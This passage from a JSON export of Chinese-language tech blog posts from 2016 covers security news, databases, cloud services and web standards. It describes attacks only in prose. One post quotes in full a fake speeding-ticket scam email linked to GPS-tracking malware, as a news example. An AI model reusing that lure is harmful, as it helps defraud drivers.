    "title": "NASA 的 JPL 回答「你們用的圓周率是 3.14 嗎？」的問題"
  },
  {
    "id": "6443",
    "body": "從 <a href=\"https://www.schneier.com/\">Bruce Schneier</a> 這邊看到的：「<a href=\"https://www.schneier.com/blog/archives/2016/03/companies_handi.html\">Companies Handing Source Code Over to Governments</a>」。\r\n\r\n直接對員工下法院命令，並且不得告知任何其他人有這個命令 (包括 CEO)：\r\n\r\n<blockquote>These orders are so highly classified that simply acknowledging an order's existence is illegal, even a company's chief executive or members of the board may not be told. Only those who are necessary to execute the order would know, and would be subject to the same secrecy provisions.</blockquote>\r\n\r\n跟中國企業的情況類似。",
    "title": "美國政府應該已經取得大量原始程式碼，而且 CEO 不知情"
  },
  {
    "id": "6444",
    "body": "<a href=\"https://www.google.com/\">Google</a> 對於國際電話號碼格式常見誤解的說明：「<a href=\"https://github.com/googlei18n/libphonenumber/blob/master/FALSEHOODS.md\">Falsehoods Programmers Believe About Phone Numbers</a>」。\r\n\r\n先看最後一個：\r\n\r\n<blockquote>15. Phone numbers are always written in ASCII\r\nIn Egypt, it is common for phone numbers to be written in native digits.</blockquote>\r\n\r\n電話號碼不是 ASCII 可以搞定的喔！！！然後你就可以理解沒什麼是不可能的 XDDD\r\n\r\n這個系統是靠各種 backward compatible workaround 堆出來的，你覺得的假設通通會被推範 XDDD",
    "title": "Google 對國際電話號碼格式常見誤解的說明"
  },
  {
    "id": "6445",
    "body": "看到「<a href=\"http://www.graybeardgames.com/download/diablo_pitch.pdf\">Diablo - Game Concept by Condor, Inc.</a>」這份 PDF 文件，講 1996 年年底 (12/31) 發表的 <a href=\"https://en.wikipedia.org/wiki/Diablo_(video_game)\">Diablo</a>，超級經典的遊戲。\r\n\r\n文件上可以看到這是 1994 年的紙本文件 (居然已經 22 年前了)，最後面還有時程表，所以感覺起來應該是內部的紙本文件？這個經典到不行的遊戲只用了一年開發...\r\n\r\n剛剛看英文版維基百科，最後面的連結已經加上這份資料了...",
    "title": "暗黑破壞神 Diablo 的 Game Concept 文件"
  },
  {
    "id": "6446",
    "body": "<a href=\"https://www.google.com/\">Google</a> 宣佈他們開始收 Untrusted CA 的 <a href=\"https://www.certificate-transparency.org/\">Certificate Transparency</a> 記錄：「<a href=\"https://security.googleblog.com/2016/03/certificate-transparency-for-untrusted.html\">Certificate Transparency for Untrusted CAs</a>」，主要是這兩種 CA：\r\n\r\n<ul>\r\n\t<li>Those that were once trusted and have since been withdrawn from the root programs.</li>\r\n\t<li>New CAs that are on the path to inclusion in browser trusted roots.</li>\r\n</ul>\r\n\r\n也就是被幹掉的，以及申請中的... 這樣可以後續追蹤很多東西。",
    "title": "Certificate Transparency 開始紀錄 Untrusted CA"
  },
  {
    "id": "6447",
    "body": "這幾天還蠻歡樂的新聞，<a href=\"https://www.startssl.com/\">StartSSL</a> 的認證過程出包，可以用任何 email 收認證信：「<a href=\"http://oalmanna.blogspot.com/2016/03/startssl-domain-validation.html\">StartSSL Domain validation (Vulnerability discovered).</a>」。直接看這張圖就好：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/dAjfGlk.webp\" /><img src=\"https://i.gslin.com/imgur/dAjfGlk.jpg\" alt=\"\" /></picture>\r\n\r\n這樣傳不是問題 (因為你還是可以在 server 端再確認一次)，而是改了會動 (樂)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/6ho3DMg.webp\" /><img src=\"https://i.gslin.com/imgur/6ho3DMg.jpg\" alt=\"\" /></picture>\r\n\r\n這家公司最近傳出好多負面新聞... (啊，我把他們家的 root certificate 標成 untrusted 一陣子了 XD)",
    "title": "StartSSL 的認證出包"
  },
  {
    "id": "6448",
    "body": "<a href=\"https://www.postgresql.org/\">PostgreSQL</a> 9.6 將會支援 Parallel Aggreation，在多 CPU core 下 aggreation operation 單一 query 的平行化效能改善 (改善非常多)：「<a href=\"https://www.postgresql.org/message-id/flat/E1ahzxY-0004qA-GJ@gemulon.postgresql.org\">pgsql: Support parallel aggregation.</a>」：\r\n\r\n<blockquote>Parallel workers can now partially aggregate the data and pass the transition values back to the leader, which can combine the partial results to produce the final answer.</blockquote>\r\n\r\n在「<a href=\"http://blog.2ndquadrant.com/parallel-aggregate/\">Parallel Aggregate – Getting the most out of your CPUs</a>」這邊有測試 worker 數量與執行的速度差異：\r\n\r\n<blockquote>We performed some tests on a 4 CPU 64 core server with 256GB of RAM using TPC-H @ 100 GB scale on query 1. This query performs some complex aggregation on just over 600 million records and produces 4 output rows.</blockquote>\r\n\r\n由於是 64 cores，所以作者測 1 到 64 workers 的效能，這是測試出來的結果：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/owYGB0K.webp\" /><img src=\"https://i.gslin.com/imgur/owYGB0K.jpg\" alt=\"\" /></picture>\r\n\r\n要注意 Y 軸是對數比例，紅色是理論值，藍色是實際值，可以看出來平行化的效能頗不錯，雖然開到 64 workers 時效率已經不到一半了。\r\n\r\n這對離鋒時間的報表運算超好用啊...",
    "title": "PostgreSQL 的 Parallel Aggreation"
  },
  {
    "id": "6449",
    "body": "<a href=\"https://en.wikipedia.org/wiki/Markdown\">Markdown</a> 的 RFC：「<a href=\"https://tools.ietf.org/html/rfc7763\">The text/markdown Media Type</a>」。\r\n\r\n<blockquote>This document registers the text/markdown media type for use with Markdown, a family of plain-text formatting syntaxes that optionally can be converted to formal markup languages such as HTML.</blockquote>\r\n\r\n雖然是 <code>Category: Informational</code>，但有個標準後是不是有機會在瀏覽器裡面原生支援？",
    "title": "RFC 7763：text/markdown"
  },
  {
    "id": "6451",
    "body": "<a href=\"https://www.google.com/\">Google</a> 推出了 Speech API：「<a href=\"https://cloud.google.com/speech/\">Speech API - Speech Recognition</a>」。\r\n\r\n檔案與 Streaming 都可以辨識，另外有處理噪音與雜音的部份。現在是 Limited Preview 期間不收費，但要申請。之後成為正式服務才會放價錢出來...",
    "title": "Google 推出語音辨識的 API"
  },
  {
    "id": "6452",
    "body": "就是車商的那個 <a href=\"http://www.audi.com/\">Audi</a> 打算在 <a href=\"http://www.autoshowny.com/\">New York International Auto Show</a> 上惡搞無線網路，推銷自家的 <a href=\"https://www.audiusa.com/models/audi-a4\">A4</a>：「<a href=\"http://mashable.com/2016/03/23/audi-wi-fi-at-new-york-auto-show/\">Audi is trolling the competition with its Wi-Fi at the New York Auto Show</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/CwVvUgd.jpg\" alt=\"\" />\r\n\r\n據說再過幾天就會知道實際情況了...",
    "title": "Audi 準備在 New York International Auto Show 上惡搞無線網路"
  },
  {
    "id": "6453",
    "body": "前幾天發佈了 Windows 與 <a href=\"https://www.samba.org/\">Samba</a> 共同有的安全性問題，叫做 <a href=\"http://badlock.org/\">Badlock</a>：「<a href=\"https://lwn.net/Articles/681295\">Hype Around the Mysterious ‘Badlock’ Bug Raises Criticism (WIRED)</a>」。但這個 bug 在 4/12 前不會公佈：\r\n\r\n<blockquote>On April 12th, 2016, a crucial security bug in Windows and Samba will be disclosed. We call it: Badlock.</blockquote>\r\n\r\n長達三個禮拜的時間可以讓其他人找出問題是很罕見的，主要是因為這已經提供足夠多資訊去挖掘。名稱叫做 Badlock，看起來是某種 lock + race condition 造成的，而 Windows 與 Samba 同時都有問題，應該是 <a href=\"https://www.microsoft.com/\">Microsoft</a> 與 Samba 合作後的程式碼，或是某種 protocol workflow 的問題造成的。\r\n\r\n<blockquote>It's especially interesting in this case since we have a name \"Badlock\" so we know it probably involves locking. We know it affects Samba and Windows. And we know who it was found by so we can look at which bits of Samba they've been working on lately. That's a lot of information for a clever person.</blockquote>\r\n\r\n我預期這三個禮拜內應該就會有人公佈，目前的資訊真的太多了。更糟糕的有可能不是發 0-day exploit，而是這個漏洞進入黑市被利用。\r\n\r\n先發表有漏洞，再給三個禮拜讓 vendor patch 的行為，看起來就是研究團隊為了出名造勢，而搞砸真正的資安問題。",
    "title": "Badlock 安全性問題同時影響 Windows 與 Samba"
  },
  {
    "id": "6454",
    "body": "<a href=\"http://www.scylladb.com/\">ScyllaDB</a> 是 <a href=\"https://cassandra.apache.org/\">Cassandra</a> 的 C++ 相容版本，效能比起 Java 版本的好不少 (尤其是與 CPU 與記憶體有關的部份)。\r\n\r\nScyllaDB 的人上個月給了一份指南，主要是在講在 <a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 上怎麼選 instance type 跑 NoSQL (主要還是針對 ScyllaDB 的情境下分析)。不過道理是通的：「<a href=\"http://www.scylladb.com/2016/02/26/best-amazon-ec2-instance-nosql/\">Choosing EC2 instances for NoSQL</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/tf3oRiT.webp\" /><img src=\"https://i.gslin.com/imgur/tf3oRiT.jpg\" alt=\"\" /></picture>\r\n\r\n不同於 Cassandra 比較容易吃到 CPU bound，ScyllaDB 比較容易吃到 i/o bound，所以 i/o 的效能對於選擇 instance type 重要許多。\r\n\r\n後面也有提到 instance size 的問題 (八台 xlarge 還是一台 8xlarge)，不過感覺沒有給很清楚的方向。一般來說，分散式資料庫之間溝通還是有不少成本在，另外文章裡也提到同一台實體機器的鄰居造成 i/o noise 的問題，看起來在經濟規模夠大的情況下，開到最大台才是王道啊？",
    "title": "資料庫在 EC2 上選擇 Instance Type 的方向"
  },
  {
    "id": "6455",
    "body": "<a href=\"https://www.docker.com/\">Docker</a> 在 <a href=\"https://www.apple.com/osx/\">Mac OS X</a> 與 <a href=\"https://www.microsoft.com/windows/\">Windows</a> 上開始支援其他的 VM Host 了：「<a href=\"https://blog.docker.com/2016/03/docker-for-mac-windows-beta/\">Docker for Mac and Windows Beta: the simplest way to use Docker on your laptop</a>」。\r\n\r\n之前在 Mac OS X 與 Windows 上必須使用 <a href=\"https://www.virtualbox.org/\">VirtualBox</a> 跑一個 Linux Host 起來，而現在可以用 <a href=\"https://github.com/mist64/xhyve\">xhyve</a> 與 <a href=\"https://www.microsoft.com/hyper-v\">Hyper-V</a>，另外剛剛發現 Linux 的部份也換到 <a href=\"http://www.alpinelinux.org/\">Alpine Linux</a> 上了 (不知道是不是這次才換的)：\r\n\r\n<blockquote>Faster and more reliable: no more VirtualBox! The Docker engine is running in an Alpine Linux distribution on top of an xhyve Virtual Machine on Mac OS X or on a Hyper-V VM on Windows, and that VM is managed by the Docker application. You don’t need docker-machine to run Docker for Mac and Windows.</blockquote>",
    "title": "Docker 在 Mac 與 Windows 上使用 xhyve 與 Hyper-V"
  },
  {
    "id": "6457",
    "body": "<a href=\"https://aws.amazon.com/cloudwatch/\">CloudWatch</a> 可以監視 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> instance 的封包數量了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2016/03/announcing-new-cloudwatch-metrics-for-ec2-instances/\">Announcing New CloudWatch Metrics for EC2 Instances</a>」：\r\n\r\n<blockquote>The new metrics are NetworkPacketsIn and NetworkPacketsOut. These new metrics provide insight into the number of network packets flowing to and from an EC2 instance.</blockquote>\r\n\r\n這樣對照流量時就可以知道平均封包大小了...",
    "title": "CloudWatch 可以看 EC2 Instance 的封包進出數量了"
  },
  {
    "id": "6458",
    "body": "用很簡單的設備透過 Side Channel 攻擊取得 ECDSA private key：「<a href=\"https://www.cs.tau.ac.il/~tromer/mobilesc/\">ECDSA Key Extraction from Mobile Devices via Nonintrusive Physical Side Channels</a>」。這次 Side Channel 只需要簡單的線圈，透著一塊玻璃也 okay：\r\n\r\n<img src=\"https://i.gslin.com/imgur/k0mM3cD.jpg\" alt=\"\" />\r\n\r\n<img src=\"https://i.gslin.com/imgur/22ygtKV.jpg\" alt=\"\" />\r\n\r\n文章裡面提到是 <a href=\"http://www.creative.com/emu/products/product.aspx?pid=17511\">Tracker Pre</a>，查了一下二手價是 USD$80：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/wStZCEu.webp\" /><img src=\"https://i.gslin.com/imgur/wStZCEu.jpg\" alt=\"\" /></picture>\r\n\r\n這邊抓出了 ADD 產生出的訊號：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/POc4T2D.webp\" /><img src=\"https://i.gslin.com/imgur/POc4T2D.jpg\" alt=\"\" /></picture>\r\n\r\n然後就可以利用這些訊號重建出 private key：\r\n\r\n<blockquote>After observing the elliptic-curve DOUBLE and ADD operations during a few thousand signatures, the secret signing key can be completely reconstructed.</blockquote>\r\n\r\n下面中獎的 library 有點多，可以看到主要是以 constant-time implementation 或是 side-channel mitigation technique 來解這個問題。",
    "title": "對 ECDSA 實體非破壞性的 Side Channel 攻擊"
  },
  {
    "id": "6459",
    "body": "這篇文章講到最近密碼系統的現象：「<a href=\"http://www.metzdowd.com/pipermail/cryptography/2016-March/028824.html\">On the Impending Crypto Monoculture</a>」。\r\n\r\n目前常在用的密碼系統包括了 RSA、DH、ECDH、ECDSA、SHA-2、AES 這些演算法，而最近這幾年大家在推廣使用的演算法都出自於同一個人手裡，<a href=\"https://en.wikipedia.org/wiki/Daniel_J._Bernstein\">Dan Bernstein</a>，也就是 djb：\r\n\r\n<blockquote>A major feature of these changes includes the dropping of traditional encryption algorithms and mechanisms like RSA, DH, ECDH/ECDSA, SHA-2, and AES, for a completely different set of mechanisms, including Curve25519 (designed by Dan Bernstein et al), EdDSA (Bernstein and colleagues), Poly1305 (Bernstein again) and ChaCha20 (by, you guessed it, Bernstein).</blockquote>\r\n\r\n這些演算法或是定義，包括了 Curve25519、EdDSA、Poly1305、ChaCha20。而這篇文章試著說明造成這樣情況的背景以及原因，以及這樣會導致什麼問題。\r\n\r\n當實際分析時會發現，檯面上沒幾個能用的演算法，而看起來能用的那幾個又有專利 (像是 OCB)，不然就是看起來被 <a href=\"https://www.nsa.gov/\">NSA</a> 放了一些說明不了的參數 (像是 P-256 Curve)。\r\n\r\n然後 djb 弄出來的演算法不只看起來乾淨許多，也直接用數學模型證明安全性。而且他的實作也很理論派，像是還蠻堅持要做到 constant time implementation 以避開各種 side channel attack。\r\n\r\n就... 理論很強，又很實戰派的一個人啊，檯面上真的沒幾隻可以打的贏啊 XD",
    "title": "密碼系統的 Monoculture"
  },
  {
    "id": "6460",
    "body": "<a href=\"http://tech.marksblogg.com/\">Mark Litwintschik</a> 最近在連載 A Billion Taxi Rides 的資料分析系列作品：\r\n\r\n<ul>\r\n\t<li><a href=\"http://tech.marksblogg.com/billion-nyc-taxi-rides-redshift.html\">A Billion Taxi Rides in Redshift</a></li>\r\n\t<li><a href=\"http://tech.marksblogg.com/billion-nyc-taxi-rides-hive-presto.html\">A Billion Taxi Rides in Hive &amp; Presto</a></li>\r\n\t<li><a href=\"http://tech.marksblogg.com/billion-nyc-taxi-rides-presto-emr.html\">A Billion Taxi Rides on Amazon EMR running Presto</a></li>\r\n\t<li><a href=\"http://tech.marksblogg.com/billion-nyc-taxi-rides-spark-emr.html\">A Billion Taxi Rides on Amazon EMR running Spark</a></li>\r\n\t<li><a href=\"http://tech.marksblogg.com/billion-nyc-taxi-rides-elasticsearch.html\">A Billion Taxi Rides in Elasticsearch</a></li>\r\n\t<li><a href=\"http://tech.marksblogg.com/billion-nyc-taxi-rides-postgresql.html\">A Billion Taxi Rides in PostgreSQL</a></li>\r\n</ul>\r\n\r\n同樣的資料 (而且這個資料量夠大，拿來 benchmark 比較有參考價值)，用不同的工具分析，對於要挑工具的人可以看一看，另外也因為裡面給了很多 command sample，要自己動手測試也是個很棒的資料...",
    "title": "A Billion Taxi Rides 資料分析系列"
  },
  {
    "id": "6461",
    "body": "在「<a href=\"http://www.bbc.com/future/story/20160325-the-names-that-break-computer-systems\">These unlucky people have names that break computers</a>」這邊看到了這個故事，Jennifer Null 因為 \"Null\" 而導致在很多電腦系統上出錯，這讓我想到這個經典的 <a href=\"https://xkcd.com/\">xkcd</a> 笑話：\r\n\r\n<a href=\"https://xkcd.com/327/\"><picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/UOROaZZ.webp\" /><img src=\"https://i.gslin.com/imgur/UOROaZZ.jpg\" alt=\"\" /></picture></a>\r\n\r\n<a href=\"http://xkcd.tw/327\"><img src=\"https://i.gslin.com/imgur/dsfcFZq.jpg\" alt=\"\" /></a>\r\n\r\n滿滿的 SQL injection 的味道 XDDD",
    "title": "Jennifer Null 的故事..."
  },
  {
    "id": "6462",
    "body": "讓人頗意想不到的新聞，<a href=\"http://www.nttdata.com/\">NTT Data</a> 買下 <a href=\"https://www.dell.com/\">Dell</a> 的 IT 服務產品線：「<a href=\"http://arstechnica.com/business/2016/03/dell-to-sell-perot-systems-unit-to-ntt-data-at-loss-of-800-million/\">Dell to sell Perot Systems unit to NTT Data at loss of $800 million</a>」。\r\n\r\n大家的解讀都是跟 <a href=\"https://www.emc.com/\">EMC</a> 併購案有關：\r\n\r\n<blockquote>Dell, which went private in 2013, is trying to raise money as it prepares to complete a $67 billion acquisition of EMC.</blockquote>\r\n\r\nNTT Data 會去買則是為了擴展海外業務，NTT Data 官方的新聞稿在這：「<a href=\"http://www.nttdata.com/global/en/news-center/pressrelease/2016/032800.html\">NTT DATA to Acquire Dell Services, Accelerating the Company's Position as a Leading Global IT Services Partner</a>」。",
    "title": "Dell 把 IT 服務產品線賣給 NTT Data"
  },
  {
    "id": "6463",
    "body": "在「<a href=\"http://www.theverge.com/2016/3/27/11312960/speeding-ticket-malware-scam-email-pennsylvania\">Malware scam appears to use GPS data to catch speeding Pennsylvania drivers</a>」這邊看到新的詐騙方式。\r\n\r\n手機的 malware app (藏有惡意程式的 app) 會要求 GPS 資料 (現在智慧型手機上 app 的常態)，而當 malware app 偵測到你超速時，詐騙集團就會發出假的超速罰單，像是這樣：\r\n\r\n<blockquote>From: Speeding Citation\r\nTo: (Accurate Email Removed)\r\nDate: 03/11/2016 03:08 PM\r\nSubject: [External] Notification of excess speed\r\nFirst Name: (Accurate Name removed)\r\nLast Name: (Accurate Name removed)\r\nNotification of excess speed\r\nRoute: (Accurate Local Township Road –removed)\r\nDate: 8 March 2016\r\nTime: 7:55 am\r\nSpeed Limit: 40\r\nDetected Speed: 52\r\nThe Infraction Statement contains an image of your license plate and the citation which must be paid in 5 working days.</blockquote>\r\n\r\n文章提用的標語「ACCURATE SPEEDING DATA, FAKE EMAIL」好讚... XD",
    "title": "結合 Malware 與 Social Engineering 的詐騙"
  },
  {
    "id": "6464",
    "body": "前陣子看到的這篇報導，在討論大規模的監控帶來的影響：「<a href=\"https://www.washingtonpost.com/news/the-switch/wp/2016/03/28/mass-surveillance-silences-minority-opinions-according-to-study/\">Mass surveillance silences minority opinions, according to study</a>」。而 <a href=\"https://www.schneier.com/\">Bruce Schneier</a> 這幾天也提到了這個問題：「<a href=\"https://www.schneier.com/blog/archives/2016/03/mass_surveillan_1.html\">Mass Surveillance Silences Minority Opinions</a>」。\r\n\r\n原始的論文出自「<a href=\"http://jmq.sagepub.com/content/early/2016/02/25/1077699016630255.full.pdf\">Under Surveillance: Examining Facebook's Spiral of Silence Effects in the Wake of NSA Internet Monitoring</a>」這邊。\r\n\r\n論文作者從 <a href=\"https://www.facebook.com/\">Facebook</a> 上的行為來分析，說明大規模的監控會使得少數意見不敢發聲，對於社會多元性的負面影響。",
    "title": "大規模監控會無形壓抑少數意見"
  },
  {
    "id": "6465",
    "body": "<a href=\"https://aws.amazon.com/redshift/\">Amazon Redshift</a> 的這個功能等了好久啊，之前都要自己指定 key 與 secret，不只讓程式寫起來變麻煩，安全性也一直是個問題：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2016/03/amazon-redshift-now-supports-using-iam-roles-with-copy-and-unload-commands/\">Amazon Redshift now supports using IAM roles with COPY and UNLOAD commands</a>」。\r\n\r\n之前的指令是：\r\n\r\n<pre>COPY ... FROM ... WITH CREDENTIALS 'aws_access_key_id=access-key-id;aws_secret_access_key=secret-access-key' ...</pre>\r\n\r\n現在都可以透過 <a href=\"https://aws.amazon.com/iam/details/manage-roles/\">IAM Role</a> 省下這些功夫...",
    "title": "Amazon Redshift 可以透過 IAM Role 直接 COPY 與 UNLOAD 了"
  },
  {
    "id": "6466",
    "body": "<a href=\"https://git-scm.com/\">Git</a> 推出新版的時候，幾家 Git Hosting 都會撰文寫一些重要的進展，像是 <a href=\"https://github.com/\">GitHub</a> 這次的內容：「<a href=\"https://github.com/blog/2131-git-2-8-has-been-released\">Git 2.8 has been released</a>」。\r\n\r\nGitHub 這次說明平行下載的範例直接清楚表示出來功能：\r\n\r\n<pre>git fetch --recurse-submodules --jobs=4</pre>\r\n\r\n用 Google 找了一個 .gitmodules 裡面有很多筆的 repository 測了一下，的確是快了不少...",
    "title": "Git 2.8 的平行下載 submodule 加速"
  },
  {
    "id": "6468",
    "body": "目前普遍的認知是 <a href=\"https://www.facebook.com/\">Facebook</a> 的佔有率與使用率在年輕族群愈來愈低，不過 2015 年十二月的資料給了相反的方向：「<a href=\"https://recode.net/2016/03/30/are-young-people-leaving-facebook-not-even-close-chart/\">Are Young People Leaving Facebook? Not Even Close. (Chart)</a>」。\r\n\r\n<a href=\"https://www.comscore.com/\">comScore</a> 最近提出的報告書「<a href=\"https://www.comscore.com/Insights/Presentations-and-Whitepapers/2016/2016-US-Cross-Platform-Future-in-Focus\">2016 U.S. Cross-Platform Future in Focus</a>」裡面：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/3GGNam3.webp\" /><img src=\"https://i.gslin.com/imgur/3GGNam3.jpg\" alt=\"\" /></picture>\r\n\r\n可以會發現，Facebook 的 Reach Rate 與 MAU 都遠遠超越其他對手，甚至連 MAU 除以 Reach Rate 的值也是最高的一個等級 (表示每個人平均每個月使用的次數，可以看做是活躍率)，跟 <a href=\"https://www.snapchat.com/\">Snapchat</a> 與 <a href=\"https://www.tumblr.com/\">tumblr</a> 差不多？",
    "title": "Facebook 在 18-34 的佔有率與使用率"
  },
  {
    "id": "6469",
    "body": "首先 <a href=\"https://www.cloudflare.com/\">CloudFlare</a> 先發了一篇「<a href=\"https://blog.cloudflare.com/the-trouble-with-tor/\">The Trouble with Tor</a>」批判 <a href=\"https://www.torproject.org/\">Tor</a> 的問題，然後是 Tor 這邊發了一篇「<a href=\"https://blog.torproject.org/blog/trouble-cloudflare\">The Trouble with CloudFlare</a>」反擊。\r\n\r\n首先先提到兩邊數字的落差，也就是 Tor 這邊提到的：\r\n\r\n<blockquote>2) External research has found that CloudFlare blocks at least 80% of Tor IP addresses, and this number has been steadily increasing over time.</blockquote>\r\n\r\n落差很明顯在於 CloudFlare 拿到的數字是「自己實際的數字」，而第三方研究是用各種方法推估出來的數字。就像很多單位都在推估 <a href=\"https://www.facebook.com/\">Facebook</a> 或是 <a href=\"https://twitter.com/\">Twitter</a> 的數字，然後你拿第三方研究的報告去反戳 Facebook 說你們數字不準的感覺...\r\n\r\n另外一方面，CloudFlare 其實也沒什麼想要解決 Tor 的問題，只是想要拋出來轉移焦點，這點在 Tor 這篇也有提到：\r\n\r\n<blockquote>1) CloudFlare uses an IP reputation system to assign scores to IP addresses that generate malicious traffic.</blockquote>\r\n\r\nCloudFlare 其實覺得 IP-based 的評價系統就很好用，並沒有想要解決 Tor 的問題。丟出來的幾個方案都是現成的，另外也反過來要求 Tor 加強 hidden service 的安全性。\r\n\r\nHidden service 以現在的角度來看的確已經不太安全 (因為 SHA-1 160bits，然後又切一半當 hostname 的關係)，但跟你 IP-based 評價系統有什麼關係啊...\r\n\r\n兩邊還有得吵...",
    "title": "CloudFlare 與 Tor 之間的戰爭..."
  },
  {
    "id": "6471",
    "body": "<a href=\"https://www.keycdn.com/\">KeyCDN</a> 的「<a href=\"https://www.keycdn.com/blog/resource-hints/\">Resource Hints – What is Preload, Prefetch, and Preconnect?</a>」這篇文章介紹了 Preload、Prefetch 與 Preconnect 這三者的差異。\r\n\r\nPreconnect 從字面上看就很好理解，而 Preload 與 Prefetch 最大的差異：\r\n\r\n<blockquote>Preload is different from prefetch in that it focuses on current navigation and fetches resources with high-priority.</blockquote>\r\n\r\n主要在 priority 的差異。",
    "title": "Preload、Prefetch 與 Preconnect 的差異"
  },
  {
    "id": "6472",
    "body": "跟 <a href=\"https://aws.amazon.com/\">AWS</a> 的「<a href=\"https://aws.amazon.com/public-data-sets/\">AWS Public Data Sets</a>」一樣，<a href=\"https://cloud.google.com/\">Google Cloud Platform</a> 也提供了類似的服務給使用 <a href=\"https://cloud.google.com/bigquery/\">Google BigQuery</a> 的人使用：「<a href=\"https://cloud.google.com/bigquery/public-data/\">Google BigQuery Public Datasets</a>」。\r\n\r\n目前資料看起來比較少 (因為最近才建立)，包括了這六個項目：\r\n\r\n<ul>\r\n\t<li>USA Names Data</li>\r\n\t<li>NYC TLC Trips</li>\r\n\t<li>Hacker News</li>\r\n\t<li>USA Disease Data</li>\r\n\t<li>GDELT Books Corpus</li>\r\n\t<li>NOAA GSOD Weather</li>\r\n</ul>\r\n\r\n在「Other Public Datasets」的地方就是不寫 AWS 的... XD",
    "title": "Google BigQuery 提供的 Public Datasets"
  },
  {
    "id": "6473",
    "body": "在「<a href=\"https://shkspr.mobi/blog/2016/03/bmw-are-complying-with-the-gpl/\">BMW *are* complying with the GPL</a>」看到的，<a href=\"http://www.bmw.com/\">BMW</a> 的車上軟體有用到 <a href=\"https://www.gnu.org/licenses/old-licenses/lgpl-2.1.html\">LGPL v2.1</a> 的軟體，於是在車上的電腦可以翻到版權宣告：\r\n\r\n<img src=\"https://i.gslin.com/imgur/PMVC7cg.jpg\" alt=\"\" />\r\n\r\n於是作者就去要 source code，並且在 <a href=\"https://twitter.com/\">Twitter</a> 上記錄：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">As a follow up to last week&#39;s blog post.<br>BMW are going to ship me a copy of the source code.<a href=\"https://t.co/ThTtj53u53\">https://t.co/ThTtj53u53</a> <a href=\"https://t.co/KWA0wFCGcR\">pic.twitter.com/KWA0wFCGcR</a></p>&mdash; Terence Eden ⏻ (@edent) <a href=\"https://twitter.com/edent/status/709399460162506753\">March 14, 2016</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n兩個禮拜後，他拿到一封信與一張 DVD：\r\n\r\n<img src=\"https://i.gslin.com/imgur/cqJpD3L.jpg\" alt=\"\" />\r\n\r\n<img src=\"https://i.gslin.com/imgur/wMME9y2.jpg\" alt=\"\" />\r\n\r\n然後他把這份光碟的內容放上 <a href=\"https://github.com/\">GitHub</a>：「<a href=\"https://github.com/edent/BMW-OpenSource\">All the Open Source Software provided by BMW for their i3</a>」。",
    "title": "BMW 遵守 LGPL v2.1 的方法"
  },
  {
    "id": "6474",
    "body": "如標題所說的，現在 <a href=\"https://www.apple.com/\">Apple</a> 的團隊決定提供測試版本的 binary 了：「<a href=\"https://webkit.org/blog/6017/introducing-safari-technology-preview/\">Introducing Safari Technology Preview</a>」。可以在「<a href=\"https://developer.apple.com/safari/technology-preview/\">Safari Technology Preview</a>」下載到，版號從 1 開始跳 XD\r\n\r\n類似於 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> 與 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 的 channel 機制，開另外一條線讓大家玩新東西。",
    "title": "Safari 也有測試版本了"
  },
  {
    "id": "6475",
    "body": "<a href=\"http://www.netcraft.com/\">Netcraft</a> 因為有一套系統在觀察整個 internet 的架構，有時後會整理出一些有趣的東西，像是這次整理出來的 <a href=\"https://en.wikipedia.org/wiki/HTTP_Public_Key_Pinning\">HPKP</a>，就找出很多設定上的錯誤：「<a href=\"http://news.netcraft.com/archives/2016/03/30/http-public-key-pinning-youre-doing-it-wrong.html\">HTTP Public Key Pinning: You’re doing it wrong!</a>」。\r\n\r\n抓了一下列出來哪些：\r\n\r\n<ul>\r\n\t<li>Zero max-age：這個 XDDD</li>\r\n\t<li>Wrong pin directives：沒寫 <code>pin-sha256</code>，包括寫成 pin-sha512 (RFC 不支援)、pin-sha1 (RFC 也是不支援)、pin-sha (RFC 還是不支援)、pin-sha245 (按歪了 XDDD)、ping-sha256 (XDDD)。</li>\r\n\t<li>Only one pinned public key：HPKP 規定要有兩個 pinned public key。</li>\r\n\t<li>No pins at all：因為 typo 而導致失效，像是忘記用雙引號包起來 (double quote，也就是「<code>\"</code>」)。</li>\r\n\t<li>At least two pins, but no backup pins：應該要是兩個完全獨立的 CA。</li>\r\n\t<li>Setting HPKP policies over HTTP：這個會被直接忽略。</li>\r\n\t<li>Not quite got round to it yet...：看到「<code>Public-Key-Pins: TODO</code>」也頗不賴 XDDD</li>\r\n\t<li>Using HPKP headers to broadcast skepticism：跟上面那個有異曲同工的感覺 XDDD <code>Public-Key-Pins: This is like the most useless header I have ever seen. Preventing MITM, c'mon, whoever can't trust his own network shouldn't enter sensitive data anywhere.</code></li>\r\n\t<li>Violation reports that will never be received：有問題時的 report 送到有問題的 domain 上，於是就送不出去了 XD</li>\r\n</ul>",
    "title": "HPKP (HTTP Public Key Pinning) 常見的錯誤"
  },
  {
    "id": "6476",
